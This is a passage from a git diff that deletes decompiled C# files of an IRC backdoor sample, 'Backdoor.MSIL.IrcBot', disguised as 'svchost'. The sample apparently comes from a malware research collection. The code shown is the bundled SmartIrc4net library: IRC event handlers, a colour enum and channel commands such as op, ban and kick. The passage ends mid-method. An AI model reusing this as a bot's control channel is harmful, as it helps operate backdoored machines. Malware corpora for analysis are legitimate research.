this._IrcUsers.Add((object) str2, (object) ircUser); - } - if (channelUser == null) - { - channelUser = this.CreateChannelUser(channel1, ircUser); - Channel channel2 = this.GetChannel(channel1); - channel2.UnsafeUsers.Add((object) str2, (object) channelUser); - if (flag1) - channel2.UnsafeOps.Add((object) str2, (object) channelUser); - if (this.SupportNonRfc && flag2) - ((NonRfcChannel) channel2).UnsafeHalfops.Add((object) str2, (object) channelUser); - if (flag3) - channel2.UnsafeVoices.Add((object) str2, (object) channelUser); - } - channelUser.IsOp = flag1; - channelUser.IsVoice = flag3; - if (this.SupportNonRfc) - ((NonRfcChannelUser) channelUser).IsHalfop = flag2; - } - } - } - List stringList = new List(strArray.Length); - foreach (string str in strArray) - { - if (!string.IsNullOrEmpty(str)) - { - switch (str[0]) - { - case '%': - case '&': - case '+': - case '@': - case '~': - stringList.Add(str.Substring(1)); - continue; - default: - stringList.Add(str); - continue; - } - } - } - if (this.OnNames == null) - return; - this.OnNames((object) this, new NamesEventArgs(ircdata, channel1, stringList.ToArray())); - } - - private void _Event_RPL_LIST(IrcMessageData ircdata) - { - string channel = ircdata.Channel; - int userCount = int.Parse(ircdata.RawMessageArray[4]); - string message = ircdata.Message; - ChannelInfo listInfo = (ChannelInfo) null; - if (this.OnList != null || this._ChannelList != null) - listInfo = new ChannelInfo(channel, userCount, message); - if (this._ChannelList != null) - this._ChannelList.Add(listInfo); - if (this.OnList == null) - return; - this.OnList((object) this, new ListEventArgs(ircdata, listInfo)); - } - - private void _Event_RPL_LISTEND(IrcMessageData ircdata) - { - if (this._ChannelListReceivedEvent == null) - return; - this._ChannelListReceivedEvent.Set(); - } - - private void _Event_RPL_TRYAGAIN(IrcMessageData ircdata) - { - if (this._ChannelListReceivedEvent == null) - return; - this._ChannelListReceivedEvent.Set(); - } - - private void _Event_RPL_ENDOFNAMES(IrcMessageData ircdata) - { - string rawMessage = ircdata.RawMessageArray[3]; - if (!this.ActiveChannelSyncing || !this.IsJoined(rawMessage) || this.OnChannelPassiveSynced == null) - return; - this.OnChannelPassiveSynced((object) this, new IrcEventArgs(ircdata)); - } - - private void _Event_RPL_AWAY(IrcMessageData ircdata) - { - string rawMessage = ircdata.RawMessageArray[3]; - string message = ircdata.Message; - if (this.ActiveChannelSyncing) - { - IrcUser ircUser = this.GetIrcUser(rawMessage); - if (ircUser != null) - ircUser.IsAway = true; - } - if (this.OnAway == null) - return; - this.OnAway((object) this, new AwayEventArgs(ircdata, rawMessage, message)); - } - - private void _Event_RPL_UNAWAY(IrcMessageData ircdata) - { - this._IsAway = false; - if (this.OnUnAway == null) - return; - this.OnUnAway((object) this, new IrcEventArgs(ircdata)); - } - - private void _Event_RPL_NOWAWAY(IrcMessageData ircdata) - { - this._IsAway = true; - if (this.OnNowAway == null) - return; - this.OnNowAway((object) this, new IrcEventArgs(ircdata)); - } - - private void _Event_RPL_WHOREPLY(IrcMessageData ircdata) - { - WhoInfo whoInfo = WhoInfo.Parse(ircdata); - string channel = whoInfo.Channel; - string nick = whoInfo.Nick; - if (this._WhoList != null) - this._WhoList.Add(whoInfo); - if (this.ActiveChannelSyncing && this.IsJoined(channel)) - { - IrcUser ircUser = this.GetIrcUser(nick); - ChannelUser channelUser = this.GetChannelUser(channel, nick); - if (ircUser != null) - { - ircUser.Ident = whoInfo.Ident; - ircUser.Host = whoInfo.Host; - ircUser.Server = whoInfo.Server; - ircUser.Nick = whoInfo.Nick; - ircUser.HopCount = whoInfo.HopCount; - ircUser.Realname = whoInfo.Realname; - ircUser.IsAway = whoInfo.IsAway; - ircUser.IsIrcOp = whoInfo.IsIrcOp; - ircUser.IsRegistered = whoInfo.IsRegistered; - switch (channel[0]) - { - case '!': - case '#': - case '&': - case '+': - if (channelUser != null) - { - channelUser.IsOp = whoInfo.IsOp; - channelUser.IsVoice = whoInfo.IsVoice; - break; - } - break; - } - } - } - if (this.OnWho == null) - return; - this.OnWho((object) this, new WhoEventArgs(ircdata, whoInfo)); - } - - private void _Event_RPL_ENDOFWHO(IrcMessageData ircdata) - { - if (this._WhoListReceivedEvent == null) - return; - this._WhoListReceivedEvent.Set(); - } - - private void _Event_RPL_MOTD(IrcMessageData ircdata) - { - if (!this._MotdReceived) - this._Motd.Add(ircdata.Message); - if (this.OnMotd == null) - return; - this.OnMotd((object) this, new MotdEventArgs(ircdata, ircdata.Message)); - } - - private void _Event_RPL_ENDOFMOTD(IrcMessageData ircdata) => this._MotdReceived = true; - - private void _Event_RPL_BANLIST(IrcMessageData ircdata) - { - string channel1 = ircdata.Channel; - BanInfo banInfo = BanInfo.Parse(ircdata); - if (this._BanList != null) - this._BanList.Add(banInfo); - if (!this.ActiveChannelSyncing || !this.IsJoined(channel1)) - return; - Channel channel2 = this.GetChannel(channel1); - if (channel2.IsSycned) - return; - channel2.Bans.Add(banInfo.Mask); - } - - private void _Event_RPL_ENDOFBANLIST(IrcMessageData ircdata) - { - string channel1 = ircdata.Channel; - if (this._BanListReceivedEvent != null) - this._BanListReceivedEvent.Set(); - if (!this.ActiveChannelSyncing || !this.IsJoined(channel1)) - return; - Channel channel2 = this.GetChannel(channel1); - if (channel2.IsSycned) - return; - channel2.ActiveSyncStop = DateTime.Now; - channel2.IsSycned = true; - if (this.OnChannelActiveSynced == null) - return; - this.OnChannelActiveSynced((object) this, new IrcEventArgs(ircdata)); - } - - private void _Event_ERR_NOCHANMODES(IrcMessageData ircdata) - { - string rawMessage = ircdata.RawMessageArray[3]; - if (!this.ActiveChannelSyncing || !this.IsJoined(rawMessage)) - return; - Channel channel = this.GetChannel(rawMessage); - if (channel.IsSycned) - return; - channel.ActiveSyncStop = DateTime.Now; - channel.IsSycned = true; - if (this.OnChannelActiveSynced == null) - return; - this.OnChannelActiveSynced((object) this, new IrcEventArgs(ircdata)); - } - - private void _Event_ERR(IrcMessageData ircdata) - { - if (this.OnErrorMessage == null) - return; - this.OnErrorMessage((object) this, new IrcEventArgs(ircdata)); - } - - private void _Event_ERR_NICKNAMEINUSE(IrcMessageData ircdata) - { - if (!this.AutoNickHandling) - return; - string newnickname; - if (this._CurrentNickname == this.NicknameList.Length - 1) - { - int num = new Random().Next(999); - newnickname = this.Nickname.Length <= 5 ? this.Nickname.Substring(0, this.Nickname.Length - 1) + (object) num : this.Nickname.Substring(0, 5) + (object) num; - } - else - newnickname = this._NextNickname(); - this.RfcNick(newnickname, Priority.Critical); - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcColors.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcColors.cs deleted file mode 100644 index 346f8e5f..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcColors.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.IrcColors -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public enum IrcColors - { - White = 0, - Black = 1, - Blue = 2, - Green = 3, - LightRed = 4, - Brown = 5, - Purple = 6, - Orange = 7, - Yellow = 8, - LightGreen = 9, - Cyan = 10, // 0x0000000A - LightCyan = 11, // 0x0000000B - LightBlue = 12, // 0x0000000C - Pink = 13, // 0x0000000D - Grey = 14, // 0x0000000E - LightGrey = 15, // 0x0000000F - Transparent = 99, // 0x00000063 - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcCommands.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcCommands.cs deleted file mode 100644 index 7804359e..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcCommands.cs +++ /dev/null @@ -1,601 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.IrcCommands -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Collections.Generic; - -namespace Meebey.SmartIrc4net -{ - public class IrcCommands : IrcConnection - { - private int _MaxModeChanges = 3; - - protected int MaxModeChanges - { - get => this._MaxModeChanges; - set => this._MaxModeChanges = value; - } - - public void SendMessage(SendType type, string destination, string message, Priority priority) - { - switch (type) - { - case SendType.Message: - this.RfcPrivmsg(destination, message, priority); - break; - case SendType.Action: - this.RfcPrivmsg(destination, "\u0001ACTION " + message + "\u0001", priority); - break; - case SendType.Notice: - this.RfcNotice(destination, message, priority); - break; - case SendType.CtcpReply: - this.RfcNotice(destination, "\u0001" + message + "\u0001", priority); - break; - case SendType.CtcpRequest: - this.RfcPrivmsg(destination, "\u0001" + message + "\u0001", priority); - break; - } - } - - public void SendMessage(SendType type, string destination, string message) => this.SendMessage(type, destination, message, Priority.Medium); - - public void SendReply(IrcMessageData data, string message, Priority priority) - { - switch (data.Type) - { - case ReceiveType.ChannelMessage: - this.SendMessage(SendType.Message, data.Channel, message, priority); - break; - case ReceiveType.QueryMessage: - this.SendMessage(SendType.Message, data.Nick, message, priority); - break; - case ReceiveType.QueryNotice: - this.SendMessage(SendType.Notice, data.Nick, message, priority); - break; - } - } - - public void SendReply(IrcMessageData data, string message) => this.SendReply(data, message, Priority.Medium); - - public void Op(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+o " + nickname), priority); - - public void Op(string channel, string[] nicknames) - { - string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames)); - for (int index = 0; index < nicknames.Length; ++index) - newModes[index] = "+o"; - this.Mode(channel, newModes, nicknames); - } - - public void Op(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "+o " + nickname)); - - public void Deop(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "-o " + nickname), priority); - - public void Deop(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "-o " + nickname)); - - public void Deop(string channel, string[] nicknames) - { - string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames)); - for (int index = 0; index < nicknames.Length; ++index) - newModes[index] = "-o"; - this.Mode(channel, newModes, nicknames); - } - - public void Voice(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+v " + nickname), priority); - - public void Voice(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "+v " + nickname)); - - public void Voice(string channel, string[] nicknames) - { - string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames)); - for (int index = 0; index < nicknames.Length; ++index) - newModes[index] = "+v"; - this.Mode(channel, newModes, nicknames); - } - - public void Devoice(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "-v " + nickname), priority); - - public void Devoice(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "-v " + nickname)); - - public void Devoice(string channel, string[] nicknames) - { - string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames)); - for (int index = 0; index < nicknames.Length; ++index) - newModes[index] = "-v"; - this.Mode(channel, newModes, nicknames); - } - - public void Ban(string channel, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+b"), priority); - - public void Ban(string channel) => this.WriteLine(Rfc2812.Mode(channel, "+b")); - - public void Ban(string channel, string hostmask, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+b " + hostmask), priority); - - public void Ban(string channel, string hostmask) => this.WriteLine(Rfc2812.Mode(channel, "+b " + hostmask)); - - public void Ban(string channel, string[] hostmasks) - { - string[] newModes = hostmasks != null ? new string[hostmasks.Length] : throw new ArgumentNullException(nameof (hostmasks)); - for (int index = 0; index < hostmasks.Length; ++index) - newModes[index] = "+b"; - this.Mode(channel, newModes, hostmasks); - } - - public void Unban(string channel, string hostmask, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "-b " + hostmask), priority); - - public void Unban(string channel, string hostmask) => this.WriteLine(Rfc2812.Mode(channel, "-b " + hostmask)); - - public void Unban(string channel, string[] hostmasks) - { - string[] newModes = hostmasks != null ? new string[hostmasks.Length] : throw new ArgumentNullException(nameof (hostmasks)); - for (int index = 0; index < hostmasks.Length; ++index) - newModes[index] = "-b"; - this.Mode(channel, newModes, hostmasks); - } - - public void Halfop(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "+h " + nickname)); - - public void Halfop(string channel, string[] nicknames) - { - string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames)); - for (int index = 0; index < nicknames.Length; ++index) - newModes[index] = "+h"; - this.Mode(channel, newModes, nicknames); - } - - public void Dehalfop(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "-h " + nickname)); - - public void Dehalfop(string channel, string[] nicknames) - { - string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames)); - for (int index = 0; index < nicknames.Length; ++index) - newModes[index] = "-h"; - this.Mode(channel, newModes, nicknames); - } - - public void Mode(string target, string[] newModes, string[] newModeParameters) - { - if (target == null) - throw new ArgumentNullException(nameof (target)); - if (newModes == null) - throw new ArgumentNullException(nameof (newModes)); - if (newModeParameters == null) - throw new ArgumentNullException(nameof (newModeParameters)); - if (newModes.Length == 0) - throw new ArgumentException("newModes must not be empty.", nameof (newModes)); - if (newModeParameters.Length == 0) - throw new ArgumentException("newModeParameters must not be empty.", nameof (newModeParameters)); - if (newModes.Length != newModeParameters.Length) - throw new ArgumentException("newModes and newModeParameters must have the same size.", nameof (newModes)); - int maxModeChanges = this._MaxModeChanges; - for (int index1 = 0; index1 < newModes.Length; index1 += maxModeChanges) - { - List stringList1 = new List(maxModeChanges); - List stringList2 = new List(maxModeChanges); - for (int index2 = 0; index2 < maxModeChanges && index1 + index2 < newModes.Length; ++index2) - { - stringList1.Add(newModes[index1 + index2]); - stringList2.Add(newModeParameters[index1 + index2]); - } - this.WriteLine(Rfc2812.Mode(target, stringList1.ToArray(), stringList2.ToArray())); - } - } - - public void RfcPass(string password, Priority priority) => this.WriteLine(Rfc2812.Pass(password), priority); - - public void RfcPass(string password) => this.WriteLine(Rfc2812.Pass(password)); - - public void RfcUser(string username, int usermode, string realname, Priority priority) => this.WriteLine(Rfc2812.User(username, usermode, realname), priority); - - public void RfcUser(string username, int usermode, string realname) => this.WriteLine(Rfc2812.User(username, usermode, realname)); - - public void RfcOper(string name, string password, Priority priority) => this.WriteLine(Rfc2812.Oper(name, password), priority); - - public void RfcOper(string name, string password) => this.WriteLine(Rfc2812.Oper(name, password)); - - public void RfcPrivmsg(string destination, string message, Priority priority) => this.WriteLine(Rfc2812.Privmsg(destination, message), priority); - - public void RfcPrivmsg(string destination, string message) => this.WriteLine(Rfc2812.Privmsg(destination, message)); - - public void RfcNotice(string destination, string message, Priority priority) => this.WriteLine(Rfc2812.Notice(destination, message), priority); - - public void RfcNotice(string destination, string message) => this.WriteLine(Rfc2812.Notice(destination, message)); - - public void RfcJoin(string channel, Priority priority) => this.WriteLine(Rfc2812.Join(channel), priority); - - public void RfcJoin(string channel) => this.WriteLine(Rfc2812.Join(channel)); - - public void RfcJoin(string[] channels, Priority priority) => this.WriteLine(Rfc2812.Join(channels), priority); - - public void RfcJoin(string[] channels) => this.WriteLine(Rfc2812.Join(channels)); - - public void RfcJoin(string channel, string key, Priority priority) => this.WriteLine(Rfc2812.Join(channel, key), priority); - - public void RfcJoin(string channel, string key) => this.WriteLine(Rfc2812.Join(channel, key)); - - public void RfcJoin(string[] channels, string[] keys, Priority priority) => this.WriteLine(Rfc2812.Join(channels, keys), priority); - - public void RfcJoin(string[] channels, string[] keys) => this.WriteLine(Rfc2812.Join(channels, keys)); - - public void RfcPart(string channel, Priority priority) => this.WriteLine(Rfc2812.Part(channel), priority); - - public void RfcPart(string channel) => this.WriteLine(Rfc2812.Part(channel)); - - public void RfcPart(string[] channels, Priority priority) => this.WriteLine(Rfc2812.Part(channels), priority); - - public void RfcPart(string[] channels) => this.WriteLine(Rfc2812.Part(channels)); - - public void RfcPart(string channel, string partmessage, Priority priority) => this.WriteLine(Rfc2812.Part(channel, partmessage), priority); - - public void RfcPart(string channel, string partmessage) => this.WriteLine(Rfc2812.Part(channel, partmessage)); - - public void RfcPart(string[] channels, string partmessage, Priority priority) => this.WriteLine(Rfc2812.Part(channels, partmessage), priority); - - public void RfcPart(string[] channels, string partmessage) => this.WriteLine(Rfc2812.Part(channels, partmessage)); - - public void RfcKick(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nickname), priority); - - public void RfcKick(string channel, string nickname) => this.WriteLine(Rfc2812.Kick(channel, nickname)); - - public void RfcKick(string[] channels, string nickname, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nickname), priority); - - public void RfcKick(string[] channels, string nickname) => this.WriteLine(Rfc2812.Kick(channels, nickname)); - - public void RfcKick(string channel, string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nicknames), priority); - - public void RfcKick(string channel, string[] nicknames) => this.WriteLine(Rfc2812.Kick(channel, nicknames)); - - public void RfcKick(string[] channels, string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nicknames), priority); - - public void RfcKick(string[] channels, string[] nicknames) => this.WriteLine(Rfc2812.Kick(channels, nicknames)); - - public void RfcKick(string channel, string nickname, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nickname, comment), priority); - - public void RfcKick(string channel, string nickname, string comment) => this.WriteLine(Rfc2812.Kick(channel, nickname, comment)); - - public void RfcKick(string[] channels, string nickname, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nickname, comment), priority); - - public void RfcKick(string[] channels, string nickname, string comment) => this.WriteLine(Rfc2812.Kick(channels, nickname, comment)); - - public void RfcKick(string channel, string[] nicknames, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nicknames, comment), priority); - - public void RfcKick(string channel, string[] nicknames, string comment) => this.WriteLine(Rfc2812.Kick(channel, nicknames, comment)); - - public void RfcKick(string[] channels, string[] nicknames, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nicknames, comment), priority); - - public void RfcKick(string[] channels, string[] nicknames, string comment) => this.WriteLine(Rfc2812.Kick(channels, nicknames, comment)); - - public void RfcMotd(Priority priority) => this.WriteLine(Rfc2812.Motd(), priority); - - public void RfcMotd() => this.WriteLine(Rfc2812.Motd()); - - public void RfcMotd(string target, Priority priority) => this.WriteLine(Rfc2812.Motd(target), priority); - - public void RfcMotd(string target) => this.WriteLine(Rfc2812.Motd(target)); - - [Obsolete("use RfcLusers(Priority) instead")] - public void RfcLuser(Priority priority) => this.RfcLusers(priority); - - public void RfcLusers(Priority priority) => this.WriteLine(Rfc2812.Lusers(), priority); - - [Obsolete("use RfcLusers() instead")] - public void RfcLuser() => this.RfcLusers(); - - public void RfcLusers() => this.WriteLine(Rfc2812.Lusers()); - - [Obsolete("use RfcLusers(string, Priority) instead")] - public void RfcLuser(string mask, Priority priority) => this.RfcLusers(mask, priority); - - public void RfcLusers(string mask, Priority priority) => this.WriteLine(Rfc2812.Lusers(mask), priority); - - [Obsolete("use RfcLusers(string) instead")] - public void RfcLuser(string mask) => this.RfcLusers(mask); - - public void RfcLusers(string mask) => this.WriteLine(Rfc2812.Lusers(mask)); - - [Obsolete("use RfcLusers(string, string, Priority) instead")] - public void RfcLuser(string mask, string target, Priority priority) => this.RfcLusers(mask, target, priority); - - public void RfcLusers(string mask, string target, Priority priority) => this.WriteLine(Rfc2812.Lusers(mask, target), priority); - - [Obsolete("use RfcLusers(string, string) instead")] - public void RfcLuser(string mask, string target) => this.RfcLusers(mask, target); - - public void RfcLusers(string mask, string target) => this.WriteLine(Rfc2812.Lusers(mask, target)); - - public void RfcVersion(Priority priority) => this.WriteLine(Rfc2812.Version(), priority); - - public void RfcVersion() => this.WriteLine(Rfc2812.Version()); - - public void RfcVersion(string target, Priority priority) => this.WriteLine(Rfc2812.Version(target), priority); - - public void RfcVersion(string target) => this.WriteLine(Rfc2812.Version(target)); - - public void RfcStats(Priority priority) => this.WriteLine(Rfc2812.Stats(), priority); - - public void RfcStats() => this.WriteLine(Rfc2812.Stats()); - - public void RfcStats(string query, Priority priority) => this.WriteLine(Rfc2812.Stats(query), priority); - - public void RfcStats(string query) => this.WriteLine(Rfc2812.Stats(query)); - - public void RfcStats(string query, string target, Priority priority) => this.WriteLine(Rfc2812.Stats(query, target), priority); - - public void RfcStats(string query, string target) => this.WriteLine(Rfc2812.Stats(query, target)); - - public void RfcLinks() => this.WriteLine(Rfc2812.Links()); - - public void RfcLinks(string servermask, Priority priority) => this.WriteLine(Rfc2812.Links(servermask), priority); - - public void RfcLinks(string servermask) => this.WriteLine(Rfc2812.Links(servermask)); - - public void RfcLinks(string remoteserver, string servermask, Priority priority) => this.WriteLine(Rfc2812.Links(remoteserver, servermask), priority); - - public void RfcLinks(string remoteserver, string servermask) => this.WriteLine(Rfc2812.Links(remoteserver, servermask)); - - public void RfcTime(Priority priority) => this.WriteLine(Rfc2812.Time(), priority); - - public void RfcTime() => this.WriteLine(Rfc2812.Time()); - - public void RfcTime(string target, Priority priority) => this.WriteLine(Rfc2812.Time(target), priority); - - public void RfcTime(string target) => this.WriteLine(Rfc2812.Time(target)); - - public void RfcConnect(string targetserver, string port, Priority priority) => this.WriteLine(Rfc2812.Connect(targetserver, port), priority); - - public void RfcConnect(string targetserver, string port) => this.WriteLine(Rfc2812.Connect(targetserver, port)); - - public void RfcConnect( - string targetserver, - string port, - string remoteserver, - Priority priority) - { - this.WriteLine(Rfc2812.Connect(targetserver, port, remoteserver), priority); - } - - public void RfcConnect(string targetserver, string port, string remoteserver) => this.WriteLine(Rfc2812.Connect(targetserver, port, remoteserver)); - - public void RfcTrace(Priority priority) => this.WriteLine(Rfc2812.Trace(), priority); - - public void RfcTrace() => this.WriteLine(Rfc2812.Trace()); - - public void RfcTrace(string target, Priority priority) => this.WriteLine(Rfc2812.Trace(target), priority); - - public void RfcTrace(string target) => this.WriteLine(Rfc2812.Trace(target)); - - public void RfcAdmin(Priority priority) => this.WriteLine(Rfc2812.Admin(), priority); - - public void RfcAdmin() => this.WriteLine(Rfc2812.Admin()); - - public void RfcAdmin(string target, Priority priority) => this.WriteLine(Rfc2812.Admin(target), priority); - - public void RfcAdmin(string target) => this.WriteLine(Rfc2812.Admin(target)); - - public void RfcInfo(Priority priority) => this.WriteLine(Rfc2812.Info(), priority); - - public void RfcInfo() => this.WriteLine(Rfc2812.Info()); - - public void RfcInfo(string target, Priority priority) => this.WriteLine(Rfc2812.Info(target), priority); - - public void RfcInfo(string target) => this.WriteLine(Rfc2812.Info(target)); - - public void RfcServlist(Priority priority) => this.WriteLine(Rfc2812.Servlist(), priority); - - public void RfcServlist() => this.WriteLine(Rfc2812.Servlist()); - - public void RfcServlist(string mask, Priority priority) => this.WriteLine(Rfc2812.Servlist(mask), priority); - - public void RfcServlist(string mask) => this.WriteLine(Rfc2812.Servlist(mask)); - - public void RfcServlist(string mask, string type, Priority priority) => this.WriteLine(Rfc2812.Servlist(mask, type), priority); - - public void RfcServlist(string mask, string type) => this.WriteLine(Rfc2812.Servlist(mask, type)); - - public void RfcSquery(string servicename, string servicetext, Priority priority) => this.WriteLine(Rfc2812.Squery(servicename, servicetext), priority); - - public void RfcSquery(string servicename, string servicetext) => this.WriteLine(Rfc2812.Squery(servicename, servicetext)); - - public void RfcList(string channel, Priority priority) => this.WriteLine(Rfc2812.List(channel), priority); - - public void RfcList(string channel) => this.WriteLine(Rfc2812.List(channel)); - - public void RfcList(string[] channels, Priority priority) => this.WriteLine(Rfc2812.List(channels), priority); - - public void RfcList(string[] channels) => this.WriteLine(Rfc2812.List(channels)); - - public void RfcList(string channel, string target, Priority priority) => this.WriteLine(Rfc2812.List(channel, target), priority); - - public void RfcList(string channel, string target) => this.WriteLine(Rfc2812.List(channel, target)); - - public void RfcList(string[] channels, string target, Priority priority) => this.WriteLine(Rfc2812.List(channels, target), priority); - - public void RfcList(string[] channels, string target) => this.WriteLine(Rfc2812.List(channels, target)); - - public void RfcNames(string channel, Priority priority) => this.WriteLine(Rfc2812.Names(channel), priority); - - public void RfcNames(string channel) => this.WriteLine(Rfc2812.Names(channel)); - - public void RfcNames(string[] channels, Priority priority) => this.WriteLine(Rfc2812.Names(channels), priority); - - public void RfcNames(string[] channels) => this.WriteLine(Rfc2812.Names(channels)); - - public void RfcNames(string channel, string target, Priority priority) => this.WriteLine(Rfc2812.Names(channel, target), priority); - - public void RfcNames(string channel, string target) => this.WriteLine(Rfc2812.Names(channel, target)); - - public void RfcNames(string[] channels, string target, Priority priority) => this.WriteLine(Rfc2812.Names(channels, target), priority); - - public void RfcNames(string[] channels, string target) => this.WriteLine(Rfc2812.Names(channels, target)); - - public void RfcTopic(string channel, Priority priority) => this.WriteLine(Rfc2812.Topic(channel), priority); - - public void RfcTopic(string channel) => this.WriteLine(Rfc2812.Topic(channel)); - - public void RfcTopic(string channel, string newtopic, Priority priority) => this.WriteLine(Rfc2812.Topic(channel, newtopic), priority); - - public void RfcTopic(string channel, string newtopic) => this.WriteLine(Rfc2812.Topic(channel, newtopic)); - - public void RfcMode(string target, Priority priority) => this.WriteLine(Rfc2812.Mode(target), priority); - - public void RfcMode(string target) => this.WriteLine(Rfc2812.Mode(target)); - - public void RfcMode(string target, string newmode, Priority priority) => this.WriteLine(Rfc2812.Mode(target, newmode), priority); - - public void RfcMode(string target, string newmode) => this.WriteLine(Rfc2812.Mode(target, newmode)); - - public void RfcService(string nickname, string distribution, string info, Priority priority) => this.WriteLine(Rfc2812.Service(nickname, distribution, info), priority); - - public void RfcService(string nickname, string distribution, string info) => this.WriteLine(Rfc2812.Service(nickname, distribution, info)); - - public void RfcInvite(string nickname, string channel, Priority priority) => this.WriteLine(Rfc2812.Invite(nickname, channel), priority); - - public void RfcInvite(string nickname, string channel) => this.WriteLine(Rfc2812.Invite(nickname, channel)); - - public void RfcNick(string newnickname, Priority priority) => this.WriteLine(Rfc2812.Nick(newnickname), priority); - - public void RfcNick(string newnickname) => this.WriteLine(Rfc2812.Nick(newnickname)); - - public void RfcWho(Priority priority) => this.WriteLine(Rfc2812.Who(), priority); - - public void RfcWho() => this.WriteLine(Rfc2812.Who()); - - public void RfcWho(string mask, Priority priority) => this.WriteLine(Rfc2812.Who(mask), priority); - - public void RfcWho(string mask) => this.WriteLine(Rfc2812.Who(mask)); - - public void RfcWho(string mask, bool ircop, Priority priority) => this.WriteLine(Rfc2812.Who(mask, ircop), priority); - - public void RfcWho(string mask, bool ircop) => this.WriteLine(Rfc2812.Who(mask, ircop)); - - public void RfcWhois(string mask, Priority priority) => this.WriteLine(Rfc2812.Whois(mask), priority); - - public void RfcWhois(string mask) => this.WriteLine(Rfc2812.Whois(mask)); - - public void RfcWhois(string[] masks, Priority priority) => this.WriteLine(Rfc2812.Whois(masks), priority); - - public void RfcWhois(string[] masks) => this.WriteLine(Rfc2812.Whois(masks)); - - public void RfcWhois(string target, string mask, Priority priority) => this.WriteLine(Rfc2812.Whois(target, mask), priority); - - public void RfcWhois(string target, string mask) => this.WriteLine(Rfc2812.Whois(target, mask)); - - public void RfcWhois(string target, string[] masks, Priority priority) => this.WriteLine(Rfc2812.Whois(target, masks), priority); - - public void RfcWhois(string target, string[] masks) => this.WriteLine(Rfc2812.Whois(target, masks)); - - public void RfcWhowas(string nickname, Priority priority) => this.WriteLine(Rfc2812.Whowas(nickname), priority); - - public void RfcWhowas(string nickname) => this.WriteLine(Rfc2812.Whowas(nickname)); - - public void RfcWhowas(string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Whowas(nicknames), priority); - - public void RfcWhowas(string[] nicknames) => this.WriteLine(Rfc2812.Whowas(nicknames)); - - public void RfcWhowas(string nickname, string count, Priority priority) => this.WriteLine(Rfc2812.Whowas(nickname, count), priority); - - public void RfcWhowas(string nickname, string count) => this.WriteLine(Rfc2812.Whowas(nickname, count)); - - public void RfcWhowas(string[] nicknames, string count, Priority priority) => this.WriteLine(Rfc2812.Whowas(nicknames, count), priority); - - public void RfcWhowas(string[] nicknames, string count) => this.WriteLine(Rfc2812.Whowas(nicknames, count)); - - public void RfcWhowas(string nickname, string count, string target, Priority priority) => this.WriteLine(Rfc2812.Whowas(nickname, count, target), priority); - - public void RfcWhowas(string nickname, string count, string target) => this.WriteLine(Rfc2812.Whowas(nickname, count, target)); - - public void 